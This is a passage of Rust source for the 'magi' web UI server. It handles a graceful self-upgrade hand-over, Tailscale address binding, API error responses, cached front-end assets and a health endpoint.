1768        // The URL alone on stdout, for a caller that wants to open it. magi
1769        // does not spawn a browser: on the machine this usually runs on there
1770        // is no display, and a failed launch would be the only output.
1771        println!("{url}");
1772    }
1773
1774    // On its own task, so nothing this function awaits can stop the address
1775    // being answered. `hand_over` is where it is given up.
1776    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1777    let interrupted = async {
1778        if tokio::signal::ctrl_c().await.is_err() {
1779            // No handler on this platform, so there is no signal to act on.
1780            // Never resolving is the safe answer: a failed registration must
1781            // not masquerade as the operator asking for a shutdown and take
1782            // the UI down on startup.
1783            std::future::pending::<()>().await;
1784        }
1785    };
1786    let handover = wait_for_handover(&HANDOVER);
1787    let outcome = tokio::select! {
1788        joined = &mut served => match joined {
1789            Ok(outcome) => outcome.context("serve the web UI"),
1790            Err(e) => Err(e).context("the task serving the web UI ended"),
1791        },
1792        () = interrupted => {
1793            tracing::info!("shutting down the web UI");
1794            finish_loop(&home, &looping, None).await;
1795            Ok(())
1796        }
1797        () = handover => {
1798            updater::log_step(&home, "serve: the select! woke on the handover signal");
1799            let successor_home = home.clone();
1800            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1801            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1802                spawn_successor(&successor_home, resume)
1803            })
1804            .await
1805        }
1806    };
1807    updater::log_step(
1808        &home,
1809        &match &outcome {
1810            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1811            Err(e) => format!("serve: returning an error: {e:#}"),
1812        },
1813    );
1814    outcome
1815}
1816
1817/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1818/// process's own working directory is not a git checkout at all - the
1819/// checkout [`repos::discover_verified`] finds instead.
1820///
1821/// Only the unmodified default is ever replaced: an operator who named a
1822/// directory outright, git checkout or not, gets exactly that directory
1823/// back, and the same story downstream (a talk whose briefing embeds a
1824/// non-git directory, and an agent that has to ask the operator where the
1825/// real repository is) that has always told them so - substituting a guess
1826/// for an explicit answer would be a second, silent opinion about what they
1827/// meant. There is no instruction or task text yet to match against this
1828/// early, so only [`repos::discover_verified`]'s own-repository tier can
1829/// ever settle this - the hint tier never fires here.
1830///
1831/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1832/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1833/// or a git installation that is broken in exactly the way that made the
1834/// original `canonical` check above fail too - so it is re-checked with
1835/// `git::toplevel` before it is ever used in place of the operator's own
1836/// directory.
1837async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1838    if repo != FsPath::new(".") {
1839        return repo;
1840    }
1841    let Ok(canonical) = repo.canonicalize() else {
1842        return repo;
1843    };
1844    if git::toplevel(&canonical).await.is_ok() {
1845        return repo;
1846    }
1847    let Some(home) = dirs::home_dir() else {
1848        return repo;
1849    };
1850    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1851        Some(found) => {
1852            tracing::info!(
1853                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1854                canonical.display(),
1855                found.path.display(),
1856                found.reason,
1857            );
1858            found.path
1859        }
1860        None => repo,
1861    }
1862}
1863
1864/// Park the loop, then release the address, then start the successor.
1865///
1866/// The order is the whole function, and each step is answerable to a failure
1867/// this arrangement has already had:
1868///
1869/// 1. **Park.** The loop was asked to stop by the request that replaced the
1870///    binary, and this waits for it, because killing the graph mid-node
1871///    leaves worktrees, branches and agent sessions behind and throws away
1872///    every agent call already paid for. It takes as long as the node in
1873///    flight - up to `timeout_implement`, an hour by default - and the deck
1874///    goes on answering for all of it, which is the reason `served` is a task
1875///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1876///    first upgrade from a phone that caught a run mid-implement dropped the
1877///    listener the moment it was asked to, and the operator got
1878///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1879///    waiting on and nothing but a process list to say the run was alive.
1880/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1881///    the join resolves only once the task's future has been dropped, so the
1882///    listener is released before the next line. Connections it already
1883///    accepted are served on tasks of their own and wind down asynchronously;
1884///    on some platforms (macOS) they can briefly keep the address busy, and
1885///    the successor's `bind_waiting` absorbs that.
1886/// 3. **Start the successor**, which binds the address this process has just
1887///    let go of - see [`spawn_successor`] for what the other order cost.
1888///
1889/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1890/// reporting, not part of the design: it exists so `/api/health` can say
1891/// "parking, waiting on run X" instead of leaving the phone to guess why the
1892/// deck went quiet, and dropping it would not change the order above.
1893async fn hand_over(
1894    home: &FsPath,
1895    looping: &Mutex<LoopState>,
1896    turns: &Arc<Mutex<TalkTurns>>,
1897    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1898    served: tokio::task::JoinHandle<std::io::Result<()>>,
1899    successor: impl FnOnce(bool) -> Result<u32>,
1900) -> Result<()> {
1901    updater::log_step(home, "hand_over: entered; writing the parking stage");
1902    // The lease and the stage are written as one step, so a reader that sees
1903    // `parking` also finds the proof that hand_over is alive. Dropped on
1904    // every way out.
1905    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1906    if !recorded {
1907        updater::log_warn(
1908            home,
1909            "hand_over: upgrade.json is unreadable; no parking stage",
1910        );
1911    }
1912    // Chat stays open while the loop parks: nothing restarts until it ends,
1913    // and the park can last as long as a node. Only once it is done is the
1914    // slot closed, right before the restart; a turn started earlier is in
1915    // `live` by then, so `finish_talks` waits for it.
1916    finish_loop(home, looping, Some(&mut lease)).await;
1917    let parking = ParkingTurns::begin(turns);
1918    let talks_done = finish_talks(home, turns, talk_wait);
1919    tokio::pin!(talks_done);
1920    let mut beat = tokio::time::interval(LEASE_BEAT);
1921    let (abandoned, waited_for) = loop {
1922        tokio::select! {
1923            left = &mut talks_done => break left,
1924            _ = beat.tick() => lease.beat(),
1925        }
1926    };
1927    drop(lease);
1928    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1929    served.abort();
1930    let _ = served.await;
1931    updater::log_step(home, "hand_over: listener released");
1932    // Read last: the deck answers for the whole park, so an operator's stop
1933    // during the wait must still be honoured by the successor.
1934    let resume = lock_or_recover(looping).resume_after_handover;
1935    match updater::read_progress(home) {
1936        Some(mut progress) => {
1937            progress.advance(updater::Stage::Restarting);
1938            if !abandoned.is_empty() {
1939                progress.detail = Some(format!(
1940                    "handed over while {} still running after {} s",
1941                    updater::talks_phrase(&abandoned),
1942                    waited_for.as_secs()
1943                ));
1944            }
1945            updater::write_progress_logged(home, &progress);
1946        }
1947        None => updater::log_warn(
1948            home,
1949            "hand_over: upgrade.json is unreadable; no restarting stage",
1950        ),
1951    }
1952    updater::log_step(
1953        home,
1954        &format!("hand_over: starting the successor (resume={resume})"),
1955    );
1956    drop(parking);
1957    match successor(resume) {
1958        Ok(pid) => {
1959            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1960            Ok(())
1961        }
1962        Err(e) => {
1963            updater::log_warn(
1964                home,
1965                &format!("hand_over: the successor did not start: {e:#}"),
1966            );
1967            Err(e)
1968        }
1969    }
1970}
1971
1972/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1973/// a turn that runs its full timeout still needs a moment to record its answer.
1974const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1975
1976/// How often the park looks at the chat turns still running.
1977const TALK_POLL: Duration = Duration::from_millis(250);
1978
1979/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1980/// grace. Beyond it a stuck turn must not block the hand-over.
1981fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1982    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1983}
1984
1985/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1986/// the repositories those talks run in (each turn uses its own talk's
1987/// configuration), plus the grace. A talk or config that cannot be read counts
1988/// with the default timeout.
1989fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1990    let default = Config::default().graph.timeout_talk;
1991    let longest = ids
1992        .iter()
1993        .map(|id| {
1994            talks
1995                .get(id)
1996                .ok()
1997                .and_then(|t| Config::discover(&t.repo, None).ok())
1998                .map_or(default, |(c, _)| c.graph.timeout_talk)
1999        })
2000        .max()
2001        .unwrap_or(default);
2002    talk_wait_bound(longest)
2003}
2004
2005/// Stops new chat turns for as long as it lives, so the hand-over only ever
2006/// waits on a set that cannot grow. `hand_over` takes it only after the loop
2007/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
2008struct ParkingTurns(Arc<Mutex<TalkTurns>>);
2009
2010impl ParkingTurns {
2011    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
2012        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
2013        Self(Arc::clone(turns))
2014    }
2015}
2016
2017impl Drop for ParkingTurns {
2018    fn drop(&mut self) {
2019        self.0
2020            .lock()
2021            .unwrap_or_else(PoisonError::into_inner)
2022            .parking = false;
2023    }
2024}
2025
2026/// Wait until no chat turn is running in this process, for at most the longest
2027/// `bound_for` has given for the turns seen so far. Returns the talk ids still
2028/// running when the bound was hit (empty when the turns finished) with the
2029/// bound that applied, after saying so in the upgrade log.
2030async fn finish_talks(
2031    home: &FsPath,
2032    turns: &Mutex<TalkTurns>,
2033    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
2034) -> (Vec<String>, Duration) {
2035    let running = || {
2036        let mut ids: Vec<String> = turns
2037            .lock()
2038            .unwrap_or_else(PoisonError::into_inner)
2039            .live
2040            .iter()
2041            .cloned()
2042            .collect();
2043        // A turn another task of this process (the daemon's completion
2044        // notice) or another process runs holds only the on-disk lease.
2045        let talks = talk::Talks::at(home.join("talks"));
2046        for t in talks.list() {
2047            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
2048                ids.push(t.id);
2049            }
2050        }
2051        ids.sort();
2052        ids
2053    };
2054    let started = std::time::Instant::now();
2055    let mut seen = Vec::new();
2056    let mut bound = Duration::ZERO;
2057    loop {
2058        let ids = running();
2059        if ids != seen {
2060            bound = bound.max(bound_for(&ids));
2061            if ids.is_empty() {
2062                updater::log_step(home, "finish_talks: no chat turn is running");
2063            } else {
2064                updater::log_step(
2065                    home,
2066                    &format!(
2067                        "finish_talks: waiting for {} to finish",
2068                        updater::talks_phrase(&ids)
2069                    ),
2070                );
2071            }
2072            updater::set_parked_talks(home, &ids);
2073            seen = ids;
2074        }
2075        if seen.is_empty() {
2076            return (Vec::new(), bound);
2077        }
2078        if started.elapsed() >= bound {
2079            updater::log_warn(
2080                home,
2081                &format!(
2082                    "finish_talks: {} still running after {} s; handing over anyway",
2083                    updater::talks_phrase(&seen),
2084                    bound.as_secs()
2085                ),
2086            );
2087            return (seen, bound);
2088        }
2089        tokio::time::sleep(TALK_POLL).await;
2090    }
2091}
2092
2093/// How often `finish_loop` renews the handover lease; well inside
2094/// [`updater::LEASE_TTL_SECS`].
2095const LEASE_BEAT: Duration = Duration::from_secs(20);
2096
2097/// Ask the loop to stop and wait for it, on the way out of [`serve`].
2098///
2099/// The wait is the whole function. Returning from `serve` while a graph is
2100/// mid-node ends the process with worktrees, branches and agent sessions left
2101/// behind and every agent call in that run paid for and thrown away, which is
2102/// exactly what the daemon's own shutdown refuses to do.
2103async fn finish_loop(
2104    home: &FsPath,
2105    state: &Mutex<LoopState>,
2106    mut lease: Option<&mut updater::LeaseGuard>,
2107) {
2108    let live = lock_or_recover(state).live.take();
2109    let Some(live) = live else {
2110        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
2111        return;
2112    };
2113    live.stop.stop();
2114    lock_or_recover(state).rev += 1;
2115    updater::log_step(
2116        home,
2117        "finish_loop: waiting for the loop to finish the run in flight",
2118    );
2119    let waited = std::time::Instant::now();
2120    // The task records its own outcome and logs it, so there is nothing to do
2121    // with a join error here but stop waiting.
2122    let mut handle = live.handle;
2123    let mut beat = tokio::time::interval(LEASE_BEAT);
2124    loop {
2125        tokio::select! {
2126            _ = &mut handle => break,
2127            _ = beat.tick() => {
2128                if let Some(lease) = lease.as_deref_mut() {
2129                    lease.beat();
2130                }
2131            }
2132        }
2133    }
2134    updater::log_step(
2135        home,
2136        &format!(
2137            "finish_loop: the loop ended after {:.1}s",
2138            waited.elapsed().as_secs_f32()
2139        ),
2140    );
2141}
2142
2143/// Resolve `--bind` to an address, plus a warning when the answer is not what
2144/// the operator asked for.
2145///
2146/// Split out from [`serve`] because the interesting half - deciding whether
2147/// Tailscale gave us something usable - is testable without opening a socket.
2148pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2149    match bind {
2150        Bind::Addr(addr) => (*addr, None),
2151        Bind::Auto => match tailscale_ip() {
2152            Ok(ip) => (IpAddr::V4(ip), None),
2153            Err(why) => (
2154                IpAddr::V4(Ipv4Addr::LOCALHOST),
2155                Some(format!(
2156                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2157                     local-only and a phone cannot reach it; start Tailscale \
2158                     or pass --bind <addr>"
2159                )),
2160            ),
2161        },
2162    }
2163}
2164
2165/// This machine's Tailscale IPv4, or why there is not one.
2166///
2167/// `tailscale ip -4` is a local call against the running daemon and returns in
2168/// milliseconds, so it is fine to make it synchronously before the server
2169/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2170/// CGNAT block Tailscale assigns from, and anything else on that output would
2171/// be a different tool answering.
2172fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2173    let out = std::process::Command::new("tailscale")
2174        .args(["ip", "-4"])
2175        .quiet()
2176        .output()
2177        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2178    if !out.status.success() {
2179        let why = String::from_utf8_lossy(&out.stderr);
2180        let why = why.trim();
2181        return Err(format!(
2182            "`tailscale ip -4` failed ({}){}",
2183            out.status,
2184            if why.is_empty() {
2185                String::new()
2186            } else {
2187                format!(": {why}")
2188            }
2189        ));
2190    }
2191    String::from_utf8_lossy(&out.stdout)
2192        .lines()
2193        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2194        .find(is_tailnet)
2195        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2196}
2197
2198/// Is this address in the CGNAT block Tailscale hands out from?
2199fn is_tailnet(ip: &Ipv4Addr) -> bool {
2200    let o = ip.octets();
2201    o[0] == 100 && (64..=127).contains(&o[1])
2202}
2203
2204/// What every handler returns. Spelled out because `Result` in this crate is
2205/// `anyhow::Result`, and a handler's error is a status code as much as a
2206/// message.
2207type ApiResult<T> = std::result::Result<T, ApiError>;
2208
2209/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2210#[derive(Debug)]
2211struct ApiError {
2212    status: StatusCode,
2213    message: String,
2214    text_reason: Option<crate::question_delivery::UnavailableReason>,
2215}
2216
2217impl ApiError {
2218    /// The client asked for something malformed.
2219    fn bad_request(message: impl Into<String>) -> Self {
2220        Self {
2221            text_reason: None,
2222            status: StatusCode::BAD_REQUEST,
2223            message: message.into(),
2224        }
2225    }
2226
2227    /// No such run or task.
2228    fn not_found(message: impl Into<String>) -> Self {
2229        Self {
2230            text_reason: None,
2231            status: StatusCode::NOT_FOUND,
2232            message: message.into(),
2233        }
2234    }
2235
2236    /// Someone else owns the thing the client wants to change.
2237    /// Re-badge an error whose default mapping is wrong for this route.
2238    fn with_status(mut self, status: StatusCode) -> Self {
2239        self.status = status;
2240        self
2241    }
2242
2243    /// A rules violation from a domain type, reported as the caller's fault.
2244    /// `Question::answer` rejects an unoffered choice, and that is a bad
2245    /// request, not a server error.
2246    fn bad_request_from(e: anyhow::Error) -> Self {
2247        Self::bad_request(format!("{e:#}"))
2248    }
2249
2250    fn conflict(message: impl Into<String>) -> Self {
2251        Self {
2252            text_reason: None,
2253            status: StatusCode::CONFLICT,
2254            message: message.into(),
2255        }
2256    }
2257
2258    /// Our fault, or the disk's.
2259    fn internal(message: impl Into<String>) -> Self {
2260        Self {
2261            text_reason: None,
2262            status: StatusCode::INTERNAL_SERVER_ERROR,
2263            message: message.into(),
2264        }
2265    }
2266}
2267
2268impl From<anyhow::Error> for ApiError {
2269    /// Errors from `queue` and `run` carry their context chain, and the whole
2270    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2271    /// value at line 3" is a message an operator can act on, and there is no
2272    /// secret in a path on a single-user tailnet.
2273    fn from(e: anyhow::Error) -> Self {
2274        Self::internal(format!("{e:#}"))
2275    }
2276}
2277
2278impl IntoResponse for ApiError {
2279    fn into_response(self) -> Response {
2280        let mut body = serde_json::json!({ "error": self.message });
2281        if let Some(reason) = self.text_reason {
2282            body["code"] = serde_json::json!("question_text_unavailable");
2283            body["reason"] = serde_json::json!(reason);
2284        }
2285        (self.status, Json(body)).into_response()
2286    }
2287}
2288
2289/// Run a handler's filesystem work off the executor.
2290///
2291/// Every route that touches the disk goes through here rather than each one
2292/// arguing about whether its own read is small enough. Uniform because the
2293/// expensive case is not rare: `run.json` for a finished competition holds
2294/// every judgement, deliberation turn and review round, so listing a few
2295/// hundred runs is megabytes of parsing, and the executor threads doing it are
2296/// the same ones serving the change stream of every other connected phone.
2297async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2298where
2299    T: Send + 'static,
2300{
2301    #[cfg(test)]
2302    let job = request_cost::carry(job);
2303    match tokio::task::spawn_blocking(job).await {
2304        Ok(result) => result,
2305        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2306    }
2307}
2308
2309/// Cache policy for the three compiled-in front-end files.
2310///
2311/// The whole interface is `include_str!`ed into the binary, so its content
2312/// changes only when the binary does - and a phone that keeps a copy is
2313/// welcome to, right up until the deck is replaced. Without a single cache
2314/// header, browsers were free to invent their own policy, and one did:
2315/// yukimemi's phone went on showing "Candidates must be folded before
2316/// deleting. Run `magi fold` first." - a sentence deleted two releases
2317/// earlier - from a run detail served by a deck that no longer contained it.
2318/// The delete button he was told about was right there, and unreachable.
2319///
2320/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2321/// every time, the answer is a 304 costing one small round trip while the
2322/// deck is unchanged, and the moment it is replaced the tag differs and the
2323/// new interface arrives. Correctness over bytes - this is one file of a few
2324/// tens of kilobytes on a tailnet, and being a version behind is not a
2325/// cosmetic problem when the difference is whether a button exists.
2326const ASSET_CACHE: &str = "no-cache, must-revalidate";
2327
2328/// `ETag` for the compiled-in assets, distinct per build.
2329///
2330/// The version alone would leave a locally built deck - `cargo install
2331/// --path .` twice at the same version, which is the normal way to iterate -
2332/// serving a stale tag for changed bytes. The build timestamp is what makes
2333/// two builds of `0.3.0` differ.
2334fn asset_etag() -> &'static str {
2335    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2336        format!(
2337            "\"{}-{}\"",
2338            env!("CARGO_PKG_VERSION"),
2339            // Length is a cheap, deterministic stand-in for a hash: the
2340            // three files are compiled in together, so any edit to any of
2341            // them almost certainly changes the total, and a rebuild is what
2342            // this needs to track rather than every possible byte pattern.
2343            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2344        )
2345    });
2346    &TAG
2347}
2348
2349/// Headers for a compiled-in asset of `mime`.
2350fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2351    [
2352        (header::CONTENT_TYPE, mime),
2353        (header::CACHE_CONTROL, ASSET_CACHE),
2354        (header::ETAG, asset_etag()),
2355    ]
2356}
2357
2358/// Serve a compiled-in asset, answering `304` when the client already has it.
2359///
2360/// axum does not compare `If-None-Match` for us, and a header the server sets
2361/// but never honours is worse than none: the phone revalidates on every load
2362/// and is handed the whole file back each time. Doing the comparison is what
2363/// makes `must-revalidate` cost one small round trip rather than the
2364/// interface.
2365fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2366    let tag = asset_etag();
2367    let known = headers
2368        .get(header::IF_NONE_MATCH)
2369        .and_then(|v| v.to_str().ok())
2370        // A revalidating client may send several, and a proxy may weaken the
2371        // tag to `W/"..."`; matching on containment covers both without
2372        // parsing the grammar.
2373        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2374    if known {
2375        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2376    }
2377    (asset_headers(mime), body).into_response()
2378}
2379
2380async fn index(headers: header::HeaderMap) -> Response {
2381    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2382}
2383
2384async fn app_css(headers: header::HeaderMap) -> Response {
2385    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2386}
2387
2388async fn app_js(headers: header::HeaderMap) -> Response {
2389    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2390}
2391
2392/// What `/api/health` answers.
2393#[derive(Debug, Serialize)]
2394struct HealthView {
2395    version: &'static str,
2396    home: String,
2397    queue_rev: u64,
2398    runs_rev: u64,
2399    /// The same revisions [`events`] streams for the question and talk
2400    /// stores.
2401    ///
2402    /// Here because this route is what the front end falls back to when the
2403    /// change stream is not up - it re-polls health on a timer and on wake, and
2404    /// takes the revisions from the answer. Without these the fallback
2405    /// compares `undefined` against `undefined` for both stores, decides
2406    /// nothing moved, and a phone with a dead stream never learns that a
2407    /// question was asked or that a talk took a turn. `queue_rev` and
2408    /// `runs_rev` above have always been here for exactly this reason; the rule
2409    /// is that every revision the stream carries, this route carries too.
2410    questions_rev: u64,
2411    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2412    talks_rev: u64,
2413    /// See [`HealthView::questions_rev`]. The notification centre's store.
2414    notifications_rev: u64,
2415    /// Notifications nobody has read yet: the bell's badge before
2416    /// `/api/notifications` has answered.
2417    notifications_unread: usize,
2418    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2419    /// is not on disk anywhere, so a phone with no change stream has no other
2420    /// way to notice that the loop it is waiting on was started from another
2421    /// device.
2422    loop_rev: u64,
2423    /// Runs on disk whose state this build cannot parse - almost always a
2424    /// schema bump, occasionally a run killed mid-write.
2425    ///
2426    /// Reported because the list silently skips them, and "no competitions
2427    /// yet" is a lie when six of them are sitting in the runs directory. The
2428    /// terminal deck learned the same lesson: a run that fails to parse must
2429    /// not disappear from the count.
2430    runs_unreadable: usize,
2431    /// The disk, and what the runs and their worktrees occupy on it.
2432    ///
2433    /// This is the incident the janitor exists for: magi alone put 30 GB into
2434    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2435    /// is exactly where the operator learns "the disk is the constraint" -
2436    /// the diagnosis that a run is being held for want of space has to be
2437    /// checkable on the same screen.
2438    disk: DiskView,
2439    /// Questions nobody has answered yet, including ones an owner talked
2440    /// back on and is now waiting for the agent's reply to. A round trip
2441    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2442    /// while the ball is in the agent's court - see
2443    /// [`crate::ask::Questions::count_open`].
2444    questions_open: usize,
2445    /// Of those, how many actually need the owner right now: open, and not
2446    /// [`crate::ask::Question::waiting_on_agent`].
2447    ///
2448    /// The one number that means "nothing will happen until a human acts" -
2449    /// a parked run consumes nothing and progresses never - and the count the
2450    /// ask bar, the nav badge and the document title fall back to before
2451    /// `/api/questions` has answered, so those notification channels clear
2452    /// the instant the owner asks back and reappear the instant the agent
2453    /// replies, instead of sitting lit for however long the agent thinks.
2454    questions_needs_owner: usize,
2455    daemon: DaemonView,
2456    /// The loop in this process, exactly what `/api/loop` answers with.
2457    ///
2458    /// Here so a phone that has just woken needs one request to know whether
2459    /// anything is going to happen at all: `daemon` says a loop is alive
2460    /// somewhere, and this says whether it is one this UI can stop.
2461    #[serde(rename = "loop")]
2462    looping: LoopView,
2463    /// Whether a release newer than this build is known, and which.
2464    ///
2465    /// From [`updater::Checker::cached_update`] - the same throttled state the
2466    /// CLI's `notify` mode banners from - never a live check: this route is
2467    /// polled every few seconds, and a live check on each poll would spend
2468    /// GitHub's rate limit before the operator finished reading the strip.
2469    update: UpdateView,
2470    /// The self-upgrade this deck last set in motion, or `null` before the
2471    /// first one. Read off disk, so the successor can report what its
2472    /// predecessor started.
2473    upgrade: Option<UpgradeProgressView>,
2474    upgrade_request_error: Option<UpgradeRequestFailure>,
2475}
2476
2477/// What `/api/health` knows about a release newer than this build.
2478///
2479/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2480/// is already the newest" from "never checked" - both are `None` - and the
2481/// phone needs to tell those apart to decide whether the deck can be trusted
2482/// to have an opinion at all.
2483#[derive(Debug, Serialize)]
2484struct UpdateView {
2485    /// A newer release is known to exist.
2486    available: bool,
2487    /// Its tag, when `available`.
2488    to: Option<String>,
2489}
2490
2491/// [`updater::Progress`] as `/api/health` reports it.
2492#[derive(Debug, Serialize)]
2493struct UpgradeProgressView {
2494    stage: updater::Stage,
2495    from: String,
2496    to: Option<String>,
2497    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2498    /// the step it is finishing before the address is handed over.
2499    waiting_on: Option<String>,
2500    started_at: Timestamp,
2501    updated_at: Timestamp,
2502    detail: Option<String>,
2503    /// Seconds the stage has outlived its allowance, when it has - see
2504    /// [`updater::stall`]. `null` while the stage is moving normally.
2505    stuck_for_secs: Option<i64>,
2506    /// Which kind of stuck: `never_entered` (hand_over left no record of
2507    /// starting) or `stopped_beating`. `null` when not stuck.
2508    stuck_kind: Option<updater::StallKind>,
2509    /// `hand_over` is alive and waiting on the loop: however long that takes,
2510    /// it is not an overdue upgrade.
2511    handover_alive: bool,
2512}
2513
2514/// Whether [`run_update_recheck`] may act at all this tick.
2515///
2516/// The same two conditions [`updater::Checker::new`] and
2517/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2518/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2519/// GitHub from this process" - on a button press or on a timer alike.
2520fn should_spawn_recheck(cfg: &Update) -> bool {
2521    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2522}
2523
2524/// Whether this tick should actually reach the network, once checking itself
2525/// is allowed.
2526///
2527/// An upgrade already in flight must not be raced by a check that discovers
2528/// a *newer* release while one is still installing - a phone watching
2529/// `/api/health` would see the answer change out from under the upgrade it
2530/// already asked for. Past that, [`updater::Checker::should_check`] is the
2531/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2532/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2533/// polling period, is what keeps this task's network use to at most once per
2534/// `[update] interval` regardless of how often it wakes up.
2535fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2536    if progress.is_some_and(|p| !p.stage.terminal()) {
2537        return false;
2538    }
2539    checker.should_check()
2540}
2541
2542/// How long [`run_update_recheck`] sleeps before its next wake-up.
2543///
2544/// A fraction of the configured `[update] interval` rather than a fixed
2545/// number: a fixed sleep longer than a short custom interval would leave the
2546/// deck waiting on its own wake-up rather than on `should_check`, so an
2547/// operator who set `interval = "1m"` to make the UI catch up quickly would
2548/// not see that take effect until the next restart - exactly the bug this
2549/// task exists to fix, just moved one level down. Scaling with the interval
2550/// keeps the wake-up prompt relative to what was actually configured, while
2551/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2552/// still what caps the network calls themselves at one per interval,
2553/// regardless of how often this fires.
2554fn recheck_poll_period(cfg: &Update) -> Duration {
2555    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2556}
2557
2558/// Keep `/api/health`'s `update` field current for as long as `magi web`
2559/// stays up.
2560///
2561/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2562/// which is enough for every other command: they exit in seconds. `magi web`
2563/// can run for days, so a single startup check leaves the cache - and the
2564/// phone's "Update & restart" button, which reads it via
2565/// [`cached_update_view`] - frozen on whatever that one look found, however
2566/// many releases ship afterwards. This is what notices the rest of them,
2567/// re-reading the config each tick so a `magi.toml` edit while the server is
2568/// up takes effect without a restart, the same way every other route here
2569/// already does - both for whether checking is on at all and for how long
2570/// the next sleep should be.
2571///
2572/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2573/// "install"`: swapping the running binary out from under a task or a run
2574/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2575/// not as a side effect of a timer nobody asked to fire. This only ever
2576/// calls [`updater::Checker::newer_release`], which refreshes
2577/// `last_update_check.json` and nothing else - so under `mode = "install"`
2578/// this behaves like `notify` for as long as the deck stays up, and an
2579/// actual self-install still happens exactly where it always has: once, at
2580/// the next process start.
2581async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2582    loop {
2583        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2584        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2585        if !should_spawn_recheck(&cfg.update) {
2586            continue;
2587        }
2588        let Some(checker) = updater::Checker::new(&cfg.update) else {
2589            continue;
2590        };
2591        let progress = updater::read_progress(&home);
2592        if !update_recheck_due(&checker, progress.as_ref()) {
2593            continue;
2594        }
2595        if let Err(e) = checker.newer_release().await {
2596            tracing::warn!("background update recheck failed: {e:#}");
2597        }
2598    }
2599}
2600
2601/// [`UpdateView`] from the same throttled, disk-only state
2602/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2603/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2604/// no cached state at all, which is correct: an operator who turned checking
2605/// off gets no opinion, not a stale one.
2606fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2607    let default;
2608    let cfg = match cfg {
2609        Some(cfg) => cfg,
2610        None => {
2611            default = Config::default();
2612            &default
2613        }
2614    };
2615    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2616    match latest {
2617        Some(latest) => UpdateView {
2618            available: true,
2619            to: Some(latest.tag_name),
2620        },
2621        None => UpdateView {
2622            available: false,
2623            to: None,
2624        },
2625    }
2626}
2627
